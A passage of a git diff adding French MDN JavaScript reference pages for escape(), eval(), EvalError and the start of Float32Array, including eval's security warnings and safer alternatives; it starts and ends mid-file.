+<blockquote>… L'ensemble des fonctionnalités et comportements définis dans cette annexe possède une ou plusieurs caractéristiques indésirables. En l'absence d'une utilisation historique, ces fonctionnalités seraient retirés de la spécification. …<br>
+… Les développeurs ne devraient pas utiliser ces fonctionnalités et comportements ou présupposer qu'elles existent lors de l'écriture de nouveau code ECMAScript. …</blockquote>
+</div>
+
+<p>La fonction <code><strong>escape()</strong></code> permet de renvoyer une nouvelle chaîne de caractères dont certains caractères ont été remplacés par leur séquence d'échappement hexadécimale. Cette méthode est obsolète et il est donc conseillé d'utiliser {{jsxref("encodeURI")}} ou {{jsxref("encodeURIComponent")}} à la place.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Cette fonction pouvait être utilisée pour l'encodage de fragment de requêtes d'URL. Si on souhaite remplacer des caractères par leur séquence d'échappement correcte (avec <code>%20</code> par exemple), on pourra utiliser <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/decodeURIComponent">decodeURIComponent</a></code>.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">escape(<var>str</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>str</code></dt>
+ <dd>Une chaîne de caractères à encoder.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une nouvelle chaîne de caractères dont certains caractères ont été échappés.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La fonction <code>escape</code> est une propriété de l'<em>objet global</em>. Les caractères spéciaux, sauf @*_+-./, seront encodés.</p>
+
+<p>La forme hexadécimale des caractères dont la valeur du codet est inférieure à 0xFF sera représentée sur deux chiffres : %xx. Pour les caractères avec un code supérieur, quatre chiffres seront utilisés avec le format suivant %<strong>u</strong>xxxx.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">escape("abc123");     // "abc123"
+escape("äöü");        // "%E4%F6%FC"
+escape("ć");          // "%u0107"
+
+// caractères spéciaux
+escape("@*_+-./");    // "@*_+-./"</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-B.2.1', 'escape')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Définie dans l'annexe B (informative) sur la compatibilité.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-escape-string', 'escape')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définie dans l'annexe B (normative) pour les fonctionnalités additionnelles d'ECMAScript pour les navigateurs Web.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-escape-string', 'escape')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Définie dans l'annexe B (normative) pour les fonctionnalités additionnelles d'ECMAScript pour les navigateurs Web.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.escape")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("encodeURI")}}</li>
+ <li>{{jsxref("encodeURIComponent")}}</li>
+ <li>{{jsxref("unescape")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/eval/index.html b/files/fr/web/javascript/reference/objets_globaux/eval/index.html
new file mode 100644
index 0000000000..06a37511f5
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/eval/index.html
@@ -0,0 +1,281 @@
+---
+title: eval()
+slug: Web/JavaScript/Reference/Objets_globaux/eval
+tags:
+  - Attention
+  - JavaScript
+  - Méthode
+  - Reference
+  - eval
+translation_of: Web/JavaScript/Reference/Global_Objects/eval
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p>La fonction <code><strong>eval()</strong></code> permet d'évaluer du code JavaScript représenté sous forme d'une chaîne de caractères.</p>
+
+<div class="blockIndicator warning">
+<p><strong>Avertissement :</strong> L'exécution de JavaScript à partir d'une chaîne de caractères constitue un risque de sécurité énorme. Il est beaucoup trop facile pour un mauvais acteur d'exécuter du code arbitraire lorsque vous utilisez <code>eval()</code>. Voir la section <a href="#Nutiliser_eval_quen_dernier_recours_!">N'utilisez eval() qu'en dernier recours !</a> ci-dessous.</p>
+</div>
+
+<div>{{EmbedInteractiveExample("pages/js/globalprops-eval.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre>eval(<var>str</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>str</code></dt>
+ <dd>Une chaîne de caractères qui représente une expression JavaScript ou une instruction ou une suite d'instructions JavaScript. L'expression utilisée peut contenir des variables et des propriétés d'objets existants.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La valeur de terminaison du code fourni en argument. Si la valeur de terminaison est vide, c'est la valeur {{jsxref("undefined")}} qui est renvoyée.</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>eval()</code> est une fonction rattachée à l'objet global.</p>
+
+<p><code>eval()</code> prend en compte un argument qui est une chaîne de caractères. Si cette chaîne représente une expression, <code>eval()</code> évaluera l'expression. Si l'argument utilisé représente une ou plusieurs instructions JavaScript, <code>eval()</code> évaluera les instructions. <code>eval()</code> ne doit pas être utilisé pour évaluer une expression arithmétique. En effet, JavaScript évalue automatiquement les expressions arithmétiques.</p>
+
+<p>Si on construit une expression arithmétique sous la forme d'une chaîne de caractères, on peut utiliser <code>eval()</code> pour évaluer cette expression par la suite. Ainsi, si on a une variable <code>x</code>, on peut préparer une expression à utiliser plus tard en construisant la chaîne "<code>3 * x + 2</code>" par exemple. Au moment où on souhaite procéder à l'évaluation, on appellera <code>eval()</code> avec cette chaîne de caractères.</p>
+
+<p>Si l'argument passé à <code>eval()</code> n'est pas une chaîne de caractères, <code>eval()</code> renverra l'argument inchangé. Dans l'exemple qui suit, on utilise le constructeur <code>String</code>, <code>eval()</code> renvoie donc un objet <code>String</code> au lieu d'évaluer la chaîne de caractères correspondante.</p>
+
+<pre class="brush:js">eval(new String("2 + 2")); // renvoie un objet String contenant "2 + 2"
+eval("2 + 2");             // renvoie 4
+</pre>
+
+<p>Ce comportement peut être résolu de façon générique en utilisant la méthode <code>toString()</code>.</p>
+
+<pre class="brush:js">var expression = new String("2 + 2");
+eval(expression.toString());
+</pre>
+
+<p>Si la fonction  <code>eval</code> est utilisée de manière indirecte, en l'invoquant par une référence autre que <code>eval</code>, cela fonctionnera avec une portée globale plutôt que locale (d'après ECMASCript 5). Par exemple, les déclarations de fonctions vont créer des fonctions globales et le code en cours d'évaluation n'aura pas accès aux variables locales déclarées avec la même portée que là où la fonction <code>eval</code> est appelée.</p>
+
+<pre class="brush: js">function test() {
+  var x = 2, y = 4;
+  console.log(eval("x + y"));  // Appel direct, portée locale, résultat de 6
+  var geval = eval;
+  console.log(geval("x + y")); // Appel indirect, portée globale, lance une exception ReferenceError car `x` n'est pas défini
+  (0, eval)('x + y'); // un autre exemple d'appel indirect.
+}</pre>
+
+<h2 id="Nutiliser_eval_quen_dernier_recours_!"><a name="dont-use-it">N'utiliser <code>eval()</code> qu'en dernier recours !</a></h2>
+
+<p><code>eval()</code> est une fonction dangereuse qui exécute le code passé en argument avec les privilèges de l'environnement appelant. Si <code>eval()</code> est utilisée avec une chaîne construite de façon mal intentionnée, cela pourra entraîner l'exécution d'un code malveillant sur la machine de l'utilisateur avec les permissions données au site ou au module complémentaire. À un niveau encore plus critique, du code tiers pourrait ainsi consulter la portée dans laquelle <code>eval()</code> a été invoquée. Cela peut permettre des attaques qui n'auraient pas été rendues possible en utilisant un objet {{jsxref("Function")}}.</p>
+
+<p><code>eval()</code> est également plus lente que les méthodes alternatives. En effet, l'évaluation nécessite de faire appel à l'interpréteur JavaScript alors que de nombreuses structures sont optimisées par les moteurs JavaScript modernes.</p>
+
+<p>Dans de nombreux cas, il existe des alternatives plus sûres et plus performantes à <code>eval()</code>.</p>
+
+<p>De plus, les moteurs JavaScript modernes convertissent le code JavaScript en code machine. Les notions relatives aux noms des variables sont donc transformées. Utiliser <code>eval()</code> force le navigateur à enregistrer puis à rechercher parmi les noms existants afin de retrouver les variables. Si besoin, on peut utiliser le constructeur <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Function">Function</a></code> :</p>
+
+<p>Avec <code>eval()</code> :</p>
+
+<pre class="brush:js">function looseJsonParse(obj){
+    return eval("(" + obj + ")");
+}
+console.log(looseJsonParse(
+   "{a:(4-1), b:function(){}, c:new Date()}"
+))
+</pre>
+
+<p>Avec <code>Function</code> :</p>
+
+<pre class="brush:js">function looseJsonParse(obj){
+    return Function('"use strict";return (' + obj + ')')();
+}
+console.log(looseJsonParse(
+   "{a:(4-1), b:function(){}, c:new Date()}"
+))
+</pre>
+
+<p>Dans le premier cas, l'évaluation de <code>c: new Date()</code> sera beaucoup plus lente car <code>Date</code> peut faire référence à une variable déclarée avant. Dans le second cas, la fonction est évaluée dans la portée globale et le moteur peut donc utiliser {{jsxref("Date")}} directement.</p>
+
+<p>Autrement dit, dans le premier cas, on aurait pu avoir un code comme :</p>
+
+<pre class="brush:js">function Date(n){
+    return ["Monday","Tuesday","Wednesday","Thursaday","Friday","Saturday","Sunday"][n%7 || 0];
+}
+function looseJsonParse(obj){
+    return eval("(" + obj + ")");
+}
+console.log(looseJsonParse(
+   "{a:(4-1), b:function(){}, c:new Date()}"
+))
+</pre>
+
+<p>Auquel cas, le navigateur doit effectuer une recherche coûteuse afin de vérifier s'il y a des variables locales <code>Date</code>.</p>
+
+<p>Pour obtenir un résultat identique, on peut tout à fait se passer d'<code>eval()</code> :</p>
+
+<pre class="brush:js">function Date(n){
+    return ["Monday","Tuesday","Wednesday","Thursaday","Friday","Saturday","Sunday"][n%7 || 0];
+}
+function runCodeWithDateFunction(obj){
+    return Function('"use strict";return (' + obj + ')')()(
+        Date
+    );
+}
+console.log(runCodeWithDateFunction(
+   "function(Date){ return Date(5) }"
+))
+</pre>
+
+<p>1. Le code passé à <code>runCodeWithDateFunction</code> peut être minifié.</p>
+
+<p>2. Le surcoût lié à un appel de fonction est léger</p>
+
+<p>3. <code>Function()</code> permet d'utiliser  <code>"use strict";</code> (qui peut également aider à améliorer les performances).</p>
+
+<p>Enfin, pour la plupart des cas, on doit pouvoir éviter de passer par</p>
+
+<p><code>eval()</code> ou <code>Function()</code> !</p>
+
+<h3 id="Accéder_aux_propriétés_dun_objet">Accéder aux propriétés d'un objet</h3>
+
+<p><code>eval()</code> ne doit pas être utilisée pour convertir des noms de propriétés en propriétés. Par exemple, lorsqu'on ne sait pas quelle propriété va être consultée avant l'exécution, on pourrait utiliser :</p>
+
+<pre class="brush:js">var obj = { a: 20, b: 30 };
+var nomPropriété = getNomProp();  //une méthode qui renvoie "a" ou "b"
+
+eval( "var résultat = obj." + nomPropriété );
+</pre>
+
+<p>Cependant, <code>eval()</code> n'est pas du tout nécessaire. Il est beaucoup plus simple, plus sécurisé, plus rapide, d'utiliser les <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_de_membres">accesseurs de propriétés</a> :</p>
+
+<pre class="brush:js">var obj = { a: 20, b: 30 };
+var nomPropriété = getNomProp();  // une méthode qui renvoie  "a" or "b"
+var résultat = obj[nomPropriété]; //  obj[ "a" ] correspond à obj.a
+</pre>
+
+<h3 id="Utiliser_des_fonctions_au_lieu_de_morceaux_de_code">Utiliser des fonctions au lieu de morceaux de code</h3>
+
+<p>Les fonctions JavaScript sont des <a class="external" href="https://en.wikipedia.org/wiki/First-class_function">citoyens de premier rang du langage</a>, cela signifie que les fonctions peuvent être passées comme arguments aux autres API, qu'elles peuvent être stockées dans des variables, dans des propriétés d'objets, etc. De nombreuses API pour le DOM fonctionnent en prenant en argument des fonctions :</p>
+
+<pre class="brush: js">// au lieu de setTimeout(" ... ", 1000) on utilisera :
+setTimeout(function() { ... }, 1000);
+
+// au lieu de elt.setAttribute("onclick", "...") on utilisera :
+elt.addEventListener("click", function() { ... } , false); </pre>
+
+<p><a href="/fr/docs/Web/JavaScript/Guide/Closures">Les fermetures (<em>closures</em>)</a> sont utiles lorsqu'on souhaite obtenir des fonctions paramétrées sans avoir à concaténer des chaînes de caractères.</p>
+
+<h3 id="Convertir_des_chaînes_JSON_en_objets_JavaScript_parsing">Convertir des chaînes JSON en objets JavaScript (<em>parsing</em>)</h3>
+
+<p>Si la chaîne utilisée avec <code>eval()</code> contient des données (par exemple, un tableau : <code>"[1, 2, 3]"</code>) et non du code, il est conseillé d'utiliser du {{Glossary("JSON")}}, qui permet de représenter un sous-ensemble des données représentables en JavaScript.</p>
+
+<p>On notera que la syntaxe JSON est limitée relativement à la syntaxe JavaScript. De nombreux littéraux JavaScript ne pourront être parsés en JSON (par exemple, les virgules à la fin des instructions ne seront pas autorisées et les noms de propriétés devront être compris entre simples quotes). Il est souvent préférable d'utiliser un outil de sérialisation JSON pour que les chaînes générées puissent être analysée en JSON.</p>
+
+<h3 id="Transmettre_des_données_et_non_du_code">Transmettre des données et non du code</h3>
+
+<p>Si on a par exemple une extension conçue pour parcourir le code d'une page web, on pourra transmettre des données <a href="/fr/docs/XPath">XPath</a> au lieu d'un code JavaScript.</p>
+
+<h3 id="Exécuter_du_code_avec_des_privilèges_restreints">Exécuter du code avec des privilèges restreints</h3>
+
+<p>S'il faut nécessairement exécuter du code, il faut le faire avec des privilèges restreints. Cela s'applique généralement aux modules complémentaires ou aux applications XUL. Pour cela, on pourra utiliser <a href="/fr/docs/Components.utils.evalInSandbox">Components.utils.evalInSandbox</a>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_eval">Utiliser <code>eval()</code></h3>
+
+<p>Dans le code suivant, les deux instructions passées à <code>eval()</code> sous la forme d'une chaîne renvoient 42. La première évaluation porte sur la chaîne "<code>x + y + 1</code>" ; la seconde évaluation porte sur la chaîne de caractères "<code>42</code>".</p>
+
+<pre class="brush:js">var x = 2;
+var y = 39;
+var z = "42";
+eval("x + y + 1"); // renvoie 42
+eval(z);           // renvoie 42
+</pre>
+
+<h3 id="Utiliser_eval_pour_une_chaîne_dinstructions">Utiliser <code>eval()</code> pour une chaîne d'instructions</h3>
+
+<p>Dans l'exemple qui suit, <code>eval()</code> est utilisée pour évaluer la chaîne de caractères <code>str</code>. Cette chaîne contient plusieurs instructions JavaScript qui affichent un message dans la console et qui affectent la valeur 42 à la variable <code>z</code> si <code>x</code> vaut cinq et 0 sinon. Lorsque la seconde instruction est exécutée, <code>eval()</code> entraînera l'exécution des instructions, les instructions seront évaluées et la valeur de <code>z</code> sera donc renvoyée.</p>
+
+<pre class="brush:js">var x = 5;
+var str = "if (x == 5) {console.log('z vaut 42'); z = 42;} else z = 0; ";
+console.log("z vaut "+eval(str));
+</pre>
+
+<h3 id="Le_résultat_deval_est_celui_de_la_dernière_expression">Le résultat d'<code>eval()</code> est celui de la dernière expression</h3>
+
+<p><code>eval()</code> renvoie la valeur de la dernière expression évaluée :</p>
+
+<pre class="brush:js">var str = "if ( a ) { 1+1; } else { 1+2; }";
+var a = true;
+var b = eval(str);  // renvoie 2
+
+console.log("b vaut : " + b);
+
+a = false;
+b = eval(str);      // renvoie 3
+
+console.log("b vaut : " + b);</pre>
+
+<h3 id="eval_et_les_fonctions"><code>eval()</code> et les fonctions</h3>
+
+<p>Pour qu'une fonction soit restituée lors de l'évaluation, il est nécessaire d'encadrer l'expression contenue dans la chaîne de caractères avec des parenthèses :</p>
+
+<pre class="brush:js">var fctStr1 = "function a() {}"
+var fctStr2 = "(function a() {})"
+var fct1 = eval(fctStr1)  // renvoie undefined
+var fct2 = eval(fctStr2)  // renvoie une function
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.1.2.1', 'eval')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-eval-x', 'eval')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-eval-x', 'eval')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.eval")}}</p>
+
+<h2 id="Notes_spécifiques_à_Firefox">Notes spécifiques à Firefox</h2>
+
+<ul>
+ <li>Historiquement, <code>eval()</code> utilisait un deuxième argument qui définissait l'objet qui était le contexte pour lequel effectuer l'évaluation. Cet argument était non-standard et a été retiré de SpiderMonkey avec Firefox 4 (cf. {{bug(531675)}}).</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Objets_globaux/uneval", "uneval()")}}</li>
+ <li>{{jsxref("Opérateurs/Opérateurs_de_membres","Les accesseurs de propriétés","",1)}}</li>
+ <li><a href="/fr/Add-ons/WebExtensions/Content_scripts#Using_eval()_in_content_scripts">Utiliser <code>eval()</code> dans les scripts de contenu dans les WebExtensions</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/evalerror/index.html b/files/fr/web/javascript/reference/objets_globaux/evalerror/index.html
new file mode 100644
index 0000000000..f2bdb704b9
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/evalerror/index.html
@@ -0,0 +1,115 @@
+---
+title: EvalError
+slug: Web/JavaScript/Reference/Objets_globaux/EvalError
+tags:
+  - Error
+  - EvalError
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/EvalError
+---
+<div>{{JSRef}}</div>
+
+<p>L'objet <strong><code>EvalError</code></strong> indique une erreur concernant la fonction globale {{jsxref("Objets_globaux/eval","eval()")}}. Cette exception n'est plus levée par JavaScript mais l'objet <code>EvalError</code> est conservé pour des raisons de compatibilité.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">new EvalError([<var>message</var>[, nomFichier[, numeroLigne]]])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>message</code></dt>
+ <dd>Paramètre optionnel, une description compréhensible de l'erreur</dd>
+ <dt><code>nomFichier</code> {{Non-standard_inline}}</dt>
+ <dd>Paramètre optionnel, le nom du fichier qui contient le code à l'origine de l'exception</dd>
+ <dt><code>numeroLigne</code> {{Non-standard_inline}}</dt>
+ <dd>Paramètre optionnel, le numéro de la ligne du code qui a entrainé l'exception</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{jsxref("EvalError.prototype")}}</dt>
+ <dd>Cette propriété permet l'addition de propriétés à un objet <code>EvalError</code>.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p>L'objet global <code>EvalError</code> ne contient pas de méthodes propres. En revanche, il hérite de certaines méthodes via sa chaîne de prototypes.</p>
+
+<h2 id="Instances_de_EvalError">Instances de <code>EvalError</code></h2>
+
+<h3 id="Propriétés_2">Propriétés</h3>
+
+<div>{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/EvalError/prototype','Properties')}}</div>
+
+<h3 id="Méthodes_2">Méthodes</h3>
+
+<div>{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/EvalError/prototype','Methods')}}</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p><code>EvalError</code> n'est pas utilisée par la spécification ECMAScript actuelle et ne sera donc pas levée lors de l'exécution. Cependant, l'objet reste disponible à des fins de compatibilité avec les versions antérieures de la spécification.</p>
+
+<h3 id="Créer_une_exception_EvalError">Créer une exception <code>EvalError</code></h3>
+
+<pre class="brush: js">try {
+  throw new EvalError("Coucou", "unFichier.js", 10);
+} catch (e) {
+  console.log(e instanceof EvalError); // true
+  console.log(e.message);              // "Coucou"
+  console.log(e.name);                 // "EvalError"
+  console.log(e.fileName);             // "unFichier.js"
+  console.log(e.lineNumber);           // 10
+  console.log(e.columnNumber);         // 0
+  console.log(e.stack);                // "@Scratchpad/2:2:9\n"
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.11.6.1', 'EvalError')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Non utilisé dans cette spécificaition. Présent à des fins de rétrocompatibilité.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-native-error-types-used-in-this-standard-evalerror', 'EvalError')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Non utilisé dans cette spécificaition. Présent à des fins de rétrocompatibilité.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard-evalerror', 'EvalError')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.EvalError")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Error")}}</li>
+ <li>{{jsxref("EvalError.prototype")}}</li>
+ <li>{{jsxref("Objets_globaux/eval", "eval()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/evalerror/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/evalerror/prototype/index.html
new file mode 100644
index 0000000000..6afbc75571
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/evalerror/prototype/index.html
@@ -0,0 +1,90 @@
+---
+title: EvalError.prototype
+slug: Web/JavaScript/Reference/Objets_globaux/EvalError/prototype
+tags:
+  - Error
+  - EvalError
+  - JavaScript
+  - Propriété
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/EvalError
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <code><strong>EvalError.prototype</strong></code> représente le prototype du constructeur {{jsxref("EvalError")}}.</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Description">Description</h2>
+
+<p>Chacune des instances de {{jsxref("EvalError")}} hérite de {{jsxref("EvalError.prototype")}}. On peut utiliser le prototype pour ajouter des propriétés ou des méthodes à toutes les instances.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt><code>EvalError.prototype.constructor</code></dt>
+ <dd>Définit la fonction qui crée une instance basée sur le prototype.</dd>
+ <dt>{{jsxref("Error.prototype.message", "EvalError.prototype.message")}}</dt>
+ <dd>Un message décrivant l'erreur. Bien que la spécification ECMA-262 définit que <code>EvalError</code> doit fournir une propriété <code>message</code> propre à l'objet, l'implémentation de <a href="/fr/docs/SpiderMonkey" title="SpiderMonkey">SpiderMonkey</a> fait qu'il hérite de {{jsxref("Error.prototype.message")}}.</dd>
+ <dt>{{jsxref("Error.prototype.name", "EvalError.prototype.name")}}</dt>
+ <dd>Un nom d'erreur. Propriété héritée de {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.fileName", "EvalError.prototype.fileName")}}</dt>
+ <dd>Un chemin vers le fichier qui a provoqué l'erreur. Propriété héritée de {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.lineNumber", "EvalError.prototype.lineNumber")}}</dt>
+ <dd>Le numéro de la ligne du fichier qui a provoqué l'erreur. Propriété héritée de {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.columnNumber", "EvalError.prototype.columnNumber")}}</dt>
+ <dd>Le numéro de la colonne dans la ligne du fichier qui a provoqué l'erreur. Propriété héritée de {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.stack", "EvalError.prototype.stack")}}</dt>
+ <dd>Pile d'appels. Propriété héritée de {{jsxref("Error")}}.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p>Bien que l'objet prototype <code>EvalError</code> ne possède pas de propriété propre, les instances de {{jsxref("EvalError")}} héritent de certaines méthodes via la chaîne de prototypes.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.11.7.6', 'NativeError.prototype')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Défini comme <code><em>NativeError</em>.prototype</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-nativeerror.prototype', 'NativeError.prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Défini comme <code><em>NativeError</em>.prototype</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-nativeerror.prototype', 'NativeError.prototype')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Défini comme <code><em>NativeError</em>.prototype</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.EvalError")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Error.prototype")}}</li>
+ <li>{{jsxref("Function.prototype")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/float32array/index.html b/files/fr/web/javascript/reference/objets_globaux/float32array/index.html
new file mode 100644
index 0000000000..35870c99db
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/float32array/index.html
@@ -0,0 +1,205 @@
+---
+title: Float32Array
+slug: Web/JavaScript/Reference/Objets_globaux/Float32Array
+tags:
+  - Constructor
+  - JavaScript
+  - Reference
+  - TypedArray
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/Float32Array
+---
+<div>{{JSRef}}</div>
+
+<p>Le tableau typé <strong><code>Float32Array</code></strong> représente un tableau de nombres flottants représentés sur 32 bits (ce qui correspond au type C <code>float</code>), l'ordre des octets utilisés étant celui de la plate-forme. Si on souhaite maîtriser le boutisme (<em>endianness</em>) utilisé, on pourra utiliser une {{jsxref("DataView")}}. Les éléments du tableau sont initialisés à <code>0</code>. Une fois que le tableau est établi, on peut référencer des éléments dans le tableau en utilisant les méthodes de l'objet ou la syntaxe usuelle des crochets.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">new Float32Array(); // Apparu avec ES2017
+new Float32Array(longueur);
+new Float32Array(tableauTypé);
+new Float32Array(objet);
+new Float32Array(buffer [, décalageOctets [, longueur]]);</pre>
+
+<p>Pour plus d'informations sur la syntaxe de ce constructeur et les paramètres utilisés, voir la page {{jsxref("Objets_globaux/TypedArray","TypedArray","#Syntaxe")}}.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{jsxref("TypedArray.BYTES_PER_ELEMENT", "Float32Array.BYTES_PER_ELEMENT")}}</dt>
+ <dd>Renvoie le nombre d'octets par élément. <code>4</code> dans le cas de <code>Float32Array</code>.</dd>
+ <dt>Float32Array.length</dt>
